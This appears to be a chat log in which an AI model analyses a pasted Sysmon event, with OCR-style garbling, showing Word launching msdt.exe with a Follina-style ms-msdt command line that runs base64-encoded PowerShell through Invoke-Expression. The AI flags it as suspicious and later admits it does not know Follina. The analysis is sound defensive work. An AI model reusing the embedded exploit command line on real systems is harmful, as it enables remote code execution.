Anything suspicious about this sysmon event?

"md5Hash":

"992C3F0CC8180F2F51156671E027AE75"

"assetId": 14819226,

"deviceEventId": "Microsoft-Windows-Sysmon:1".

"customer Id: "355cade1-6735-6611-8273-ae808f55bce3"

"eventTime":1654514510544.

"action": "Process Create"

"userTags": [l,

"eventName": "Process Create"

"collectorReceivedTime":1654514608,

"outcome": "Success"

"destinationUserId":"0×13746b"

"deviceType": "Application"

"severity": "Informational"

"eventId": "57fa5cde-al16-43f5-a261-1688754aa42d*

"indexedAt":1654516208915.

"sourceProcess":

"C: | (Program Files\ (Microsoft Officel \Office15\1

INWORD. EXE" I

"baseEventId":

"deviceTimezone": "UTC"

"eventType": "Microsoft-Windows-Sysmon/Operational"

"sessionId": "1"

"version":

"5"

"assetUuid":

"474d6ac8-cf3d-49ac-8d4e-c65289d34d1e"

"customString)":

")"C: | \Program Files\ WMicrosoft Office| \Office15 WINWORD.EXE" /n

1 "C: | (Users\ larsingh-win1\\Downloads\ (ftesting.docl"/o\")"*

"command": "\"C:) \WINDOWS\\system32\ \msdt.exe\" ms-msdt: /id PCWDiagnostic /skip force /param

| "IT RebrowseForFile=? IT LaunchMethod=ContextMenu IT BrowseForFile=\$ (Invoke-

Expression(\$(Invoke-

Expression(*[System.Text.Encoding]*+[char]58+[char]58+'UTF8.GetString([System.Convert]*+

[char]58+

[char]58+*FromBase64String(*+[char]34+'Y2FsYw==

[char]34+*)))))1/../../.

./..1..1../..1../../../Windows/System32/mpsigstub.exe\"

"customString6": "Medium'

"tags":

"Application"

"sha256Hash":"6859D1B5D1BEAA2985B298F3FCEE67F0AAC747687A9DEC2B4376585E99E9756F"

"um"•

*UNKNOWN"

"shalHash":"942EC8C2CCFCACD75A1CD86CBE8873AEE5115E29"

"destinationProcess": "C:|\Windows\\System32|\msdt.exe'



Based on the information provided in the Sysmon event, there are a few potentially suspicious indicators that warrant further investigation:

- 1. The "sourceProcess" shows that the event is originating from Microsoft Word (WINWORD.EXE). This could be a sign of a potential document-based malware attack, such as a macro virus or malicious attachment.
- 2. The "command" field indicates that msdt.exe (Microsoft Support Diagnostic Tool) is being executed with a base64 encoded string. It appears that the encoded string is being decoded and then executed, which can be a technique used by attackers to obfuscate their malicious payload.
- 3. The "destinationProcess" field also shows that msdt.exe is being executed, which could be another indication of suspicious activity. Although msdt.exe is a legitimate Windows executable, it could potentially be abused by an attacker for malicious purposes.

It is important to conduct a thorough investigation and analyze the context of this event to determine if it is a genuine threat or just a false positive. This may include checking the user's activities, analyzing related events in your network, and examining the document in question for any malicious content.

Do you know the Follina exploit?



As an Al language model, I don't have real-time knowledge, and my training data only goes up until September 2021. As of that time, there is no known exploit called "Follina." It is possible that this is a new exploit or a term coined after September 2021, or it might simply be a typo or a name not widely recognized in the cybersecurity community.

If you have specific information or characteristics of the "Follina" exploit, I would be happy to help analyze its potential impact or recommend mitigation strategies based on similar known exploits or attack techniques.